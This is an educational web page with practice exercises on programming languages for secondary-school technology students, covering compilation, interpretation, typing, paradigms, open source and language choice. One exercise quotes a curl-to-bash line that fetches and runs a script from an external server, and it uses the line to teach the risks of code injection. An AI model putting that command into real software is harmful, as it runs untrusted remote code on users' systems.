Back to homeTechnology and Engineering I · 1st Bach. Science · Change subject
Start for free
BAC1 tech · Technology and Engineering I
Computer systems · Text-based programming

Programming languages

A program is simply a set of instructions written without any ambiguity. Before writing the first line of code, it is worth understanding the tool you are working with: what exactly a programming language does with what you write, and why there are hundreds of different languages instead of just one.

Before you start, make sure you know: Algorithms and computational thinking (2nd ESO)
Before you start, make sure you know: Text-based programming (3rd ESO)

From source code to executable program

Diagram of the translation process from source code to an executable program in machine language through a compiler or interpreter. Source code written by the person Compiler or interpreter Executable program run by the machine only machine language (zeros and ones) is understood directly by the processor
Practice★☆☆Not started
Explain in your own words what a program is and what an algorithm is, and give an example of an everyday 'algorithm' (a recipe, directions to your house, etc.)…

Explain in your own words what a program is and what an algorithm is, and give an example of an everyday 'algorithm' (a recipe, directions to your house, etc.) identifying its steps.

Solve
Practice★☆☆Not started
A natural language (such as English or Spanish) allows ambiguous sentences, but a programming language does not. Explain what this means and why it is essential for…

A natural language (such as English or Spanish) allows ambiguous sentences, but a programming language does not. Explain what this means and why it is essential for program instructions to have only one possible interpretation.

Solve
Practice★☆☆Not started
The figure shows the chain that converts what a programmer writes into something the computer can execute, but the central element is covered with a question mark, as…

The figure shows the chain that converts what a programmer writes into something the computer can execute, but the central element is covered with a question mark, as shown in the figure.

Source code written by the programmer ? Executable program executed by the machine

Indicate which element is missing from the chain, explain which two types of tools can occupy that place (compiler and interpreter), and describe how they differ.

Solve
Practice★☆☆Not started
Explain what the syntax of a programming language is and why a single missing parenthesis prevents a program from running, whereas a spelling mistake in written text…

Explain what the syntax of a programming language is and why a single missing parenthesis prevents a program from running, whereas a spelling mistake in written text does not prevent it from being understood.

Solve

Compiled and interpreted languages

Compiled: the compiler checks all the source code and, if there is an error, stops and generates no executable. Interpreted: the interpreter executes line by line and the error appears on reaching the faulty line, after results have been shown. Compiled e.g. C, C++ source code ✕ errors at compile time compiler ✕ executable does not run execution translates everything before running · fast execution Interpreted e.g. Python source code interpreter line by line > 42 > 7 ✕ error ✕ errors at run time translates and runs line by line · slower execution
Practice★★☆Not started
Explain the difference between a compiled language and an interpreted language: what happens to the source code in each case, when errors are detected, and what the end…

Explain the difference between a compiled language and an interpreted language: what happens to the source code in each case, when errors are detected, and what the end user needs in order to run the program. Give an example of a language of each type.

Solve
Practice★★☆Not started
With a compiled language, an executable is generated; with an interpreted one, the interpreter must be installed. Analyse the difference for the end user of each program…

With a compiled language, an executable is generated; with an interpreted one, the interpreter must be installed. Analyse the difference for the end user of each program (what must be installed, on which systems it will run) and the difference for the developer (write-test cycle).

Solve
Practice★★★Not started
An interpreted high-level language is usually more convenient to write but slower to run than a compiled low-level language. Analyse this trade-off and decide what type…

An interpreted high-level language is usually more convenient to write but slower to run than a compiled low-level language. Analyse this trade-off and decide what type of language you would choose for: (a) an airbag controller, (b) an app prototype to test an idea, (c) a video game with demanding graphics. Justify each decision.

Solve
Practice★★★Not started
A development team is designing an environmental monitoring application and is analyzing how to distribute it across three devices: Device A (cloud server with an x86_64…

A development team is designing an environmental monitoring application and is analyzing how to distribute it across three devices: Device A (cloud server with an x86_64 processor and Linux), Device B (field tablet with an ARM64 processor and Android), and Device C (marine buoy with an 8-bit microcontroller, 16 KB of RAM, and no operating system). The team decides to compile the code into an intermediate format (bytecode) that runs on a virtual machine. a) Explain why this approach allows executing exactly the same binary file on A and B without needing to recompile for each processor. b) Predict what insurmountable problem will occur when trying to run that program on Device C, justifying your answer based on the requirements of a virtual machine. c) Explain what cost in performance and memory consumption devices A and B take on in exchange for obtaining immediate portability.

Solve

Typing and paradigms

Three programming paradigms: imperative (instructions that change the state), object-oriented (objects with data and behaviour) and functional (functions that transform data). Imperativetotal ← 0repeat 3 times: total ← total + 2the state changes ObjectsLoan book, member days()data + actions Functionaldata → f → gdouble(sum(x))no sharedstate static typing: types are checked before running dynamic typing: they are checked while running
Practice★★☆Not started
Languages are also grouped by paradigms (imperative, object-oriented, functional, etc.). Briefly explain what object-oriented programming consists of and reason why it…

Languages are also grouped by paradigms (imperative, object-oriented, functional, etc.). Briefly explain what object-oriented programming consists of and reason why it is useful when a program models real-world entities (students, accounts, vehicles, etc.).

Solve
Practice★★☆Not started
In some languages, adding a number to a string produces an error before running the program; in others, the error appears only when that line is executed. Explain what…

In some languages, adding a number to a string produces an error before running the program; in others, the error appears only when that line is executed. Explain what typing (static or dynamic) is in a language and what advantage there is in detecting these errors as early as possible.

Solve
Practice★★☆Not started
HTML structures web page content, but it is not considered a complete programming language. Explain the difference between a markup language and a programming language…

HTML structures web page content, but it is not considered a complete programming language. Explain the difference between a markup language and a programming language (can decisions and repetitions be expressed?) and state which language usually accompanies HTML to provide the logic.

Solve
Practice★★★Not started
In a surgical precision robotic arm, an early prototype programmed in C continuously allocates dynamic memory in each control cycle without releasing it properly (memory…

In a surgical precision robotic arm, an early prototype programmed in C continuously allocates dynamic memory in each control cycle without releasing it properly (memory leak), causing the system to slow down and eventually crash after several hours of continuous use. To fix this, a programmer proposes rewriting all the software in a language with automatic garbage collection and dynamic typing, claiming that this will make the system safe and free of memory errors. a) Explain what happens physically in RAM during a memory leak that causes the system to eventually crash. b) Refute the programmer's proposal: predict what critical risk the automatic garbage collector introduces into the robot's servomotors during a real-time operation. c) Justify what technical compromise solution (between manual management without guarantees and unpredictable automatic collection) would guarantee safety and deterministic response time.

Solve

Tools, libraries and open source

Comparison: open source code is visible and each user can study it and modify their own copy; the proprietary platform is a closed box with a padlock that depends on a single manufacturer. Open source public code can be studied and adapted Proprietary platform closed code depends on a single manufacturer
Practice★☆☆Not started
What is an integrated development environment (IDE)? Name two features it offers to a programmer (syntax highlighting, error detection while typing, integrated…

What is an integrated development environment (IDE)? Name two features it offers to a programmer (syntax highlighting, error detection while typing, integrated execution) and explain each one in a single sentence.

Solve
Practice★★☆Not started
Libraries are collections of pre-written code that a program can use. Explain why "not reinventing the wheel" is good practice, giving an example (graphics library,…

Libraries are collections of pre-written code that a program can use. Explain why "not reinventing the wheel" is good practice, giving an example (graphics library, database connection library), and state one precaution to take when using third-party libraries.

Solve
Practice★★★Not started
A startup is designing an application to manage weather stations. The team is hesitating between two technical options for its backend: Option A, using a proprietary…

A startup is designing an application to manage weather stations. The team is hesitating between two technical options for its backend: Option A, using a proprietary platform and language whose license costs €450 per year per developer, with closed technical support; or Option B, using an open-source language and tools with an open-source license and an active community. Analyze the situation: a) If the provider of Option A triples the license price or is acquired by a competitor that discontinues the product, predict what technical options the company would have left and what impact it would suffer. b) Justify two technical and security advantages that Option B provides over Option A when a critical flaw is detected in a library. c) In which specific case could taking on the dependency on the proprietary platform be justified?

Solve
Practice★★★Not started
For a home automation lab assignment, a student needs to send email alerts in the event of a gas leak. Instead of programming it, they copy this line from an internet…

For a home automation lab assignment, a student needs to send email alerts in the event of a gas leak. Instead of programming it, they copy this line from an internet forum without reviewing its content: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). The student claims: "The code works and the alert arrives, so the solution is completely valid and secure." a) Refute the student's claim by analyzing the severe security and code injection risks that this line introduces into the system and the local network. b) If the external server stops providing service weeks later, predict what difficulties the student will have in maintaining the system if they did not understand the original logic. c) Design a four-step protocol that a responsible programmer must follow before integrating third-party code or libraries into a technical project.

Solve

Choosing the right language

Three projects and their priority: a bar chart with library books for analysing data, a 3D cube with a speed indicator for a video game, and a browser window with code for an interactive website. Data 3D video game Interactive website analysis libraries priority: ecosystem compiled language priority: performance ‹/› runs in the browser priority: platform
Practice★☆☆Not started
Compare block-based programming (such as Scratch) with text-based programming: give one advantage of each approach for learning and one reason why large projects end up…

Compare block-based programming (such as Scratch) with text-based programming: give one advantage of each approach for learning and one reason why large projects end up being written in text.

Solve
Practice★☆☆Not started
Explain what the source code of a program is, who writes it, and what needs to happen to it before the computer can execute it (translating it into machine code).

Explain what the source code of a program is, who writes it, and what needs to happen to it before the computer can execute it (translating it into machine code).

Solve
Practice★☆☆Not started
Name three different programming languages and a typical application or field for each one (web pages, data analysis, video games, systems, apps, etc.).

Name three different programming languages and a typical application or field for each one (web pages, data analysis, video games, systems, apps, etc.).

Solve
Practice★★☆Not started
Your class needs to choose a language to develop a small book club management application. Name and explain three language features you would evaluate before deciding…

Your class needs to choose a language to develop a small book club management application. Name and explain three language features you would evaluate before deciding (ease of learning, available libraries, community, performance, target platform, etc.) and justify which one you would prioritise in this specific case.

Solve
Practice★★☆Not started
Choose and justify a language for each project: (a) analysing the grades of the entire school and generating graphs, (b) a 3D video game with high performance…

Choose and justify a language for each project: (a) analysing the grades of the entire school and generating graphs, (b) a 3D video game with high performance requirements, and (c) an interactive web page that runs in the browser. State which criterion was most important in each choice.

Solve
Practice★★★Not started
The binary search algorithm is implemented to find a value in a sorted list of 1 000 000 integers in two different languages: in Python it takes 12,4 ms and in C it…

The binary search algorithm is implemented to find a value in a sorted list of 1 000 000 integers in two different languages: in Python it takes 12,4 ms and in C it takes 0,8 ms. A classmate claims: "Since it takes less time in C, the logic of the algorithm has changed and it now performs fewer comparisons than in Python." Reasonably refute this claim: a) Explain which elements of the program remain exactly the same in both versions and which ones change. b) Justify the reason for the time difference if the number of logical comparisons is identical. c) Based on this case, argue why it is said that learning to program consists of learning to think and not of mastering a specific language.

Solve
Practice★★★Not started
An underwater robotics company is developing an autonomous exploration vehicle. The system consists of two modules: 1) Thruster control and gyroscopic stabilization,…

An underwater robotics company is developing an autonomous exploration vehicle. The system consists of two modules: 1) Thruster control and gyroscopic stabilization, which must sample sensors and correct trajectory every 2,5 ms with strict critical latency. 2) User interface and statistical analysis at the marine base, where scientists process images and test visual filters interactively. The technical lead proposes programming both modules exclusively in Python to unify the project. a) Critically evaluate this proposal by predicting what bottlenecks will arise in the stabilization module. b) Explain why programming the base station in C or C++ would not be an efficient decision in terms of productivity either. c) Design a solution by justifying what type of language you would assign to each module to resolve the conflict between execution speed and ease of development.

Solve
Practice★★★Not started
An educational institution is renewing the equipment in its Technology classroom and is evaluating two options to program the microcontrollers for its projects:…

An educational institution is renewing the equipment in its Technology classroom and is evaluating two options to program the microcontrollers for its projects: Environment A, proprietary commercial software with a free license for two years, but closed-source and only compatible with sensors of its own brand; and Environment B, an open-source toolchain (free compiler and open libraries) compatible with multiple boards on the market. a) Predict what economic and technical consequences the school will face in the third year if the vendor of Environment A changes its pricing policy or discontinues support for older models. b) Justify what learning and adaptation possibilities Environment B offers so that students can study how the code works internally or connect obsolete sensors. c) From the perspective of public spending and technological sovereignty, defend which of the two options should be chosen.

Solve

Back to the beginning: A language translates your instructions into the binary code that the processor executes, and there are hundreds of them because no single language can offer maximum speed, ease of learning and compatibility with every device all at once.

Summary

See all the exercises in this section